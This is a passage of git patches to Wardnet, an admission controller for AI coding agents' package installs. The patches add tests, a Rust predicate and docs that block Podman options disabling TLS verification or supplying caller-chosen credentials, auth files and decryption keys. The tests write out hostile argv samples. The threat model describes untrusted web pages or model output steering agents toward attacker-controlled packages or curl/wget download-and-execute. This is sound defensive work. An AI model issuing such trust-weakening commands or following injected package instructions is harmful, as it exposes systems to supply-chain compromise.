replace the TLS trust used for the approved registry without a corresponding policy grant. Digest verification downstream remains necessary, but it does not make caller-controlled registry authentication part of the reviewed admission authority. +Before these repairs, a structured intent such as `podman pull --tls-verify=false IMAGE@sha256:DIGEST`, `podman pull --cert-dir=/unreviewed IMAGE@sha256:DIGEST`, `podman pull --authfile=/agent-controlled.json IMAGE@sha256:DIGEST`, or `podman pull --creds=agent-user:secret IMAGE@sha256:DIGEST` could still satisfy Wardnet's exact artifact, manifest, executable, and digest checks. The caller could therefore weaken transport trust or substitute registry authentication authority without a corresponding policy grant. Digest verification downstream remains necessary, but it does not make caller-controlled registry transport or identity part of the reviewed admission authority. ## Decision -Wardnet classifies Podman `--cert-dir` overrides and false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken the reviewed HTTPS registry trust. +Wardnet classifies Podman `--cert-dir`, `--authfile`, and `--creds` overrides plus false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken the reviewed HTTPS registry trust. Registry credentials must be supplied by the downstream execution/deployment authority through a separately governed boundary, not selected by untrusted install argv. -The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It does not add a new public reason code, does not select certificates itself, and does not duplicate registry transport or runtime verification logic. +The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It does not add a new public reason code, read credential files, authenticate to a registry, or duplicate registry transport/runtime verification logic. ## Executable evidence - RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces the hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. - Causal repair `b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6` adds the bounded OCI transport-trust predicate, and GREEN composition `c4cb57312dc0bf2972ad7ae61e3c526b49c5217f` maps it to the existing `alternate_trust_root` fail-closed decision. +- Authentication-authority RED `400c53265f21d684ab06232536b50341b5d524c0` adds attached `--authfile` and `--creds` hostile cases that previously remained syntactically admissible; causal GREEN `3eade5d41c50d1ad4e48118014c50acf5d8f3793` extends the same bounded predicate to reject caller-selected registry authentication sources/principals. - Architecture fitness `7c833b6c4fc77c1ad17c03b48169addfb5328c5b` places `oci_transport.rs` under the same dependency-direction contract as the other admission-domain sources. Exact-current-head repository, security, coverage, and review execution remains required before integration. Queued or predecessor evidence is not GREEN. ## APA 7 reference -Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html +Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/stable/markdown/podman-pull.1.html From d944a30da654d8f8a7ff687d1ff6a463eb4ac67e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:40:30 +0900 Subject: [PATCH 173/702] docs(changelog): record OCI registry auth admission hardening --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2a2b9913..1fb7ccc2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,11 +8,11 @@ - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. -- Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. +- Bound Podman registry transport and authentication authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, and inline `--creds` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials remain a separately governed downstream deployment/secret authority rather than untrusted install argv. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From d7aa94fc3846e0ed189f90b5525df03d1a62e3ee Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:45:05 +0900 Subject: [PATCH 174/702] test(admission): reject caller-selected OCI decryption keys --- .../tests/oci_transport_trust_contract.rs | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs index 6408b868..df14630f 100644 --- a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -90,6 +90,26 @@ fn podman_cannot_supply_registry_credentials_from_untrusted_argv() { ); } +#[test] +fn podman_cannot_select_an_unreviewed_image_decryption_key() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert( + 2, + "--decryption-key=/tmp/agent-controlled-key.pem:synthetic-passphrase".to_string(), + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "untrusted argv must not choose secret-bearing image decryption material" + ); +} + #[test] fn explicit_tls_verification_true_does_not_weaken_the_reviewed_registry_trust() { let (policy, mut intent) = approved_podman_pull(); From 261ecc20e280c3af45798cc396088260eb94ba50 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:45:16 +0900 Subject: [PATCH 175/702] fix(admission): deny caller-selected OCI decryption keys --- crates/agent-artifact-admission/src/oci_transport.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/oci_transport.rs b/crates/agent-artifact-admission/src/oci_transport.rs index faa0fb37..8a88e0c5 100644 --- a/crates/agent-artifact-admission/src/oci_transport.rs +++ b/crates/agent-artifact-admission/src/oci_transport.rs @@ -1,7 +1,8 @@ use crate::InstallIntent; /// Return whether a Podman pull asks the caller to replace or disable the -/// registry transport or authentication trust represented by reviewed policy. +/// registry transport, authentication, or secret-bearing decryption trust +/// represented by reviewed policy. pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -22,6 +23,8 @@ pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> || argument.starts_with("--authfile=") || argument == "--creds" || argument.starts_with("--creds=") + || argument == "--decryption-key" + || argument.starts_with("--decryption-key=") || argument .strip_prefix("--tls-verify=") .is_some_and(is_false_boolean) From 841abfd0a8494a2111afc8638ee6a863e1f75a18 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:45:45 +0900 Subject: [PATCH 176/702] docs(security): trace OCI decryption authority boundary --- docs/doctoring/oci-registry-tls-trust.md | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/docs/doctoring/oci-registry-tls-trust.md b/docs/doctoring/oci-registry-tls-trust.md index 3f72ad8e..ee041e18 100644 --- a/docs/doctoring/oci-registry-tls-trust.md +++ b/docs/doctoring/oci-registry-tls-trust.md @@ -1,24 +1,27 @@ -# OCI registry transport and authentication trust authority +# OCI registry transport, authentication, and decryption authority -Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening, certificate replacement, or registry-principal overrides. It is an admission-policy control only; Wardnet does not fetch images or take over hostile execution from `quarantine-sandbox-runtime`. +Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening, certificate replacement, registry-principal overrides, and image decryption material. It is an admission-policy control only; Wardnet does not fetch or decrypt images and does not take over hostile execution from `quarantine-sandbox-runtime`. ## Problem -An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport and authentication options that can change how that registry is reached and which principal is used. Current Podman documentation states that `--tls-verify=false` disables certificate verification, `--cert-dir=path` selects certificates used to connect to the registry, `--authfile=path` selects registry authentication state, and `--creds=username[:password]` supplies the registry principal directly. +An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport, authentication, and decryption options that can introduce additional authority. Current Podman documentation states that `--tls-verify=false` disables certificate verification, `--cert-dir=path` selects certificates used to connect to the registry, `--authfile=path` selects registry authentication state, `--creds=username[:password]` supplies the registry principal directly, and `--decryption-key=key[:passphrase]` selects keys or certificates for image decryption and can carry a passphrase in the argument. -Before these repairs, a structured intent such as `podman pull --tls-verify=false IMAGE@sha256:DIGEST`, `podman pull --cert-dir=/unreviewed IMAGE@sha256:DIGEST`, `podman pull --authfile=/agent-controlled.json IMAGE@sha256:DIGEST`, or `podman pull --creds=agent-user:secret IMAGE@sha256:DIGEST` could still satisfy Wardnet's exact artifact, manifest, executable, and digest checks. The caller could therefore weaken transport trust or substitute registry authentication authority without a corresponding policy grant. Digest verification downstream remains necessary, but it does not make caller-controlled registry transport or identity part of the reviewed admission authority. +Before these repairs, otherwise exact structured intents could combine an approved digest with caller-selected TLS trust, registry credentials, or decryption material. Attached option forms begin with `-`, so Wardnet's artifact-operand accounting correctly ignored them as positional artifact names; without an explicit trust/secret-authority predicate, however, those options could survive exact artifact, manifest, executable, and digest checks. Digest verification downstream remains necessary, but it does not make caller-controlled transport, authentication, local key material, or passphrases part of reviewed admission authority. ## Decision -Wardnet classifies Podman `--cert-dir`, `--authfile`, and `--creds` overrides plus false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken the reviewed HTTPS registry trust. Registry credentials must be supplied by the downstream execution/deployment authority through a separately governed boundary, not selected by untrusted install argv. +Wardnet classifies Podman `--cert-dir`, `--authfile`, `--creds`, and `--decryption-key` overrides plus false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken reviewed HTTPS registry trust. -The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It does not add a new public reason code, read credential files, authenticate to a registry, or duplicate registry transport/runtime verification logic. +Registry credentials and image-decryption secrets must be supplied by separately governed downstream execution/deployment/secret boundaries, not selected by untrusted install argv. Wardnet does not read an authfile or key, authenticate to a registry, decrypt an image, or copy secret-management/runtime behavior into the admission domain. + +The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It intentionally reuses the stable `alternate_trust_root` reason because these options introduce caller-selected trust/secret authority outside the reviewed artifact contract; a future versioned domain contract may split machine-readable subcategories without weakening the fail-closed behavior. ## Executable evidence -- RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces the hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. +- RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. - Causal repair `b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6` adds the bounded OCI transport-trust predicate, and GREEN composition `c4cb57312dc0bf2972ad7ae61e3c526b49c5217f` maps it to the existing `alternate_trust_root` fail-closed decision. -- Authentication-authority RED `400c53265f21d684ab06232536b50341b5d524c0` adds attached `--authfile` and `--creds` hostile cases that previously remained syntactically admissible; causal GREEN `3eade5d41c50d1ad4e48118014c50acf5d8f3793` extends the same bounded predicate to reject caller-selected registry authentication sources/principals. +- Authentication-authority RED `400c53265f21d684ab06232536b50341b5d524c0` adds attached `--authfile` and `--creds` hostile cases that previously remained syntactically admissible; causal GREEN `3eade5d41c50d1ad4e48118014c50acf5d8f3793` rejects caller-selected registry authentication sources/principals. +- Decryption-authority RED `d7aa94fc3846e0ed189f90b5525df03d1a62e3ee` adds an attached secret-bearing `--decryption-key=...:passphrase` hostile case; causal GREEN `261ecc20e280c3af45798cc396088260eb94ba50` rejects caller-selected image decryption key/passphrase material at the same bounded boundary. - Architecture fitness `7c833b6c4fc77c1ad17c03b48169addfb5328c5b` places `oci_transport.rs` under the same dependency-direction contract as the other admission-domain sources. Exact-current-head repository, security, coverage, and review execution remains required before integration. Queued or predecessor evidence is not GREEN. From 32c748e346f6dbe8b67514ffeb25dd19dfdbb531 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:46:06 +0900 Subject: [PATCH 177/702] docs(changelog): record OCI decryption authority hardening --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1fb7ccc2..e84e671b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,11 +8,11 @@ - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. -- Bound Podman registry transport and authentication authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, and inline `--creds` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials remain a separately governed downstream deployment/secret authority rather than untrusted install argv. +- Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From c2ac4c2c0128e8875d8a45c857d3d771e96ca727 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:47:52 +0900 Subject: [PATCH 178/702] docs(threat-model): bind OCI decryption and registry credential authority --- .../agent-artifact-admission-threat-model.md | 48 ++----------------- 1 file changed, 5 insertions(+), 43 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 33ed44cb..a65e43a5 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -1,42 +1,3 @@ -# Agent Artifact Admission threat model - -This document is scoped to the **Agent Artifact Admission** bounded context recorded in ADR-0012. It does not replace Wardnet's gateway threat model. The admission controller decides whether a structured package-install intent is admissible; it never installs a package or executes a command. - -## Protected assets and authority - -The protected assets are the reviewed admission policy, approved workspace-manifest digests, approved artifact coordinates and digests, the administrator credential, the minimized audit trail, and the integrity of each allow/block receipt. - -Authority is deliberately narrow. Untrusted web pages, `llms.txt`, retrieved documents, issue comments, model output, tool output, package metadata, and an artifact's mere presence in a registry are evidence inputs only. None can grant execution authority. The reviewed `AdmissionPolicy` is the local authority for v0.1. Registry identity, signing identity, transparency-log inclusion, TUF metadata, and SLSA provenance remain external authorities and must enter through explicit adapters or an Anti-Corruption Layer rather than becoming domain entities. - -## Trust boundaries - -1. An execution broker or AI coding agent submits an authenticated HTTP request to the loopback-only service. -2. The HTTP delivery adapter authenticates the request and deserializes a bounded `InstallIntent`. -3. The domain kernel validates provenance, command shape, workspace manifest, exact artifact coordinates, registry, owner and SHA-256 evidence against the immutable policy. -4. The application path builds a minimized audit fact and must durably append it before any admission response is returned. -5. A downstream execution broker may act on an `allow` receipt. Wardnet itself still does not execute the command. - -The credential file, policy/configuration file and audit file are local deployment dependencies. A future remote deployment must remain behind authenticated TLS/mTLS or an equivalent identity-aware proxy; v0.1 binds only to loopback. - -## Threats and required behavior - -| Threat | Failure mode | Required control | Failure response | -| --- | --- | --- | --- | -| Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | -| Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | -| Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | -| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | -| Option-parser authority split | A required safety flag is placed after a standalone `--`, where the downstream CLI can stop interpreting subsequent tokens as options while Wardnet's naive argv scan still treats them as active controls | Reject the standalone option terminator for admitted install commands so Wardnet and the execution broker cannot disagree about which tokens have option semantics | `decision=block`, reason `forbidden_command` | -| pnpmfile hook execution | A reviewed pnpm artifact command includes `--ignore-scripts`, but pnpm still loads local `.pnpmfile.mjs`/`.pnpmfile.cjs` hooks that can run code and alter config, resolution or fetch behavior | Require both unambiguous `--ignore-scripts` and `--ignore-pnpmfile` on admitted pnpm installs; contradictory/assigned Boolean forms do not satisfy the safety contract | `decision=block`, reason `missing_safety_flag` | -| Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | -| Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | -| Unbound Cargo build variant | An approved Cargo package digest is installed with caller-selected features, binary/example target, compilation target or profile, producing an execution payload that the approved artifact coordinate does not describe | Until build-variant authority is explicitly versioned in the artifact contract, reject Cargo `-F`/`--features`, `--all-features`, `--no-default-features`, `--bin`/`--bins`, `--example`/`--examples`, `--target`, `--debug` and `--profile` selectors | `decision=block`, reason `artifact_not_approved` | -| Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | -| Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | -| Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | -| Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | -| Audit suppression | Allow response is returned without durable evidence | Audit append is ordered before response | `503`, `decision=block`, reason `audit_unavailable` | -| Audit data exfiltration | Raw command text, token or unbounded source material leaks to logs | Audit only normalized source URI, command hash, artifact coordinates, decision and reason codes | Fail closed if a valid minimized audit record cannot be built | | Policy/provider schema coupling | Sigstore/TUF/SLSA DTO changes alter domain semantics implicitly | Translate provider evidence at explicit adapters/ACLs; domain depends only on stable admission concepts | Reject unsupported evidence until an accepted adapter exists | | Cross-context authority leakage | Main gateway, SIEM exporter or orchestrator mutates admission policy by reaching into internals | Published API/package contract only; no foreign application-table access; no provider SDK in domain modules | Integration rejected by architecture fitness gate | | Confused transport vs policy denial | Downstream treats a policy block as network failure and retries/works around it | Valid policy denials are successful admission responses with `decision=block`; transport/config/audit failures use HTTP errors | Stable receipt semantics | @@ -45,7 +6,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, or executable pnpmfile hook, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -55,11 +16,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, parser-boundary and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, or decrypt images; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. ## Primary references @@ -73,9 +34,10 @@ SHA-256 equality proves byte identity only when the execution path independently - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). 